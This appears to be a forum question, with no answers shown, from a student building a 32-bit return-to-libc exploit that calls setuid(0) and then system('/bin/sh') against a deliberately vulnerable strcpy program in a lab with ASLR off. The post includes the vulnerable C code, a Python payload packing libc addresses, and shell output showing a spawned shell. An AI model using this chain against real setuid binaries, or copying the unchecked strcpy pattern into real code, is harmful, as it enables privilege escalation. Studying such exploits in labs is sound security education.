Bash deletes null bytes in exploit input for ROP/returntolibc

Question

I am trying to do a returntolibc exploit. The goal is to gain a shell with root privilege by calling setuid(0) and then system("/bin/sh"). I have been agonizing over trying to get this thing to accept my payload, but bash keeps deleting the argument for setuid since it's made up of null bytes.

The binary has been compiled as 32 bit with no stack protectors, ASLR is disabled, and the NX bit is on. I'm trying to exploit this vulnerable C code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void func(char *s) {
  char buffer[60]; // vulnerable
  strcpy(buffer, s);
}

int main(int argc, char **argv) {
  if (argc == 1) {
    fprintf(stderr, "Enter a string!\n");
    exit(EXIT_FAILURE);
}
  func(argv[1]);
  printf("Done!\n");
}

and I also have a payload written which I have to run with Python 2.7.17:

import struct

binadd = struct.pack("<I", 0xf7f6a9db) # address of "/bin/sh"
zeroarg = struct. Pack("<I", 0x00000000) # doesn't work
# zeroarg = struct. Pack("<I", 0x10101010) # but this will! and change the uid to 0x10101010(but in decimal)
sysadd = struct. Pack("<I", 0xf7e2bf10) # address of system()
suidadd = struct.pack("<I", 0xf7eadcb0) # address of setuid()

padding = 'A' * 72
payload = padding
payload += suidadd
payload += sysadd
payload += zeroarg
payload += binadd


with open("begging", "wb") as f:
   f.write(payload)

I can make the uid anything I want as long as there are no null bytes in the input to setuid/zeroarg. When setting zeroarg to 0x10101010, this is the output I get:

user1@e77796fdd4b6:~$ ./hw3_2 $(cat begging)
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���������
$ whoami
whoami: cannot find name for user ID 16843009
$ id
uid=16843009 gid=1000(user1) groups=1000(user1)
$

But if I run it with zeroarg as 0x00000000, then this is what I get:

user1@e77796fdd4b6:~$ ./hw3_2 $(cat begging)
bash: warning: command substitution: ignored null byte in input
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���������
sh: 1: : not found
Segmentation fault

I cannot for the life of me figure out another way to get my payload in without it somehow destroying zeroarg in the process. I've tried printing it directly through python, using redirection operators, using call() from subprocess, and more. The only way I can even get it to run successfully is through using $(cat begging).

I am positively at a loss for what to do. Any help in any form would be greatly, greatly appreciated. If any more information is needed, then I will happily oblige. Thank you.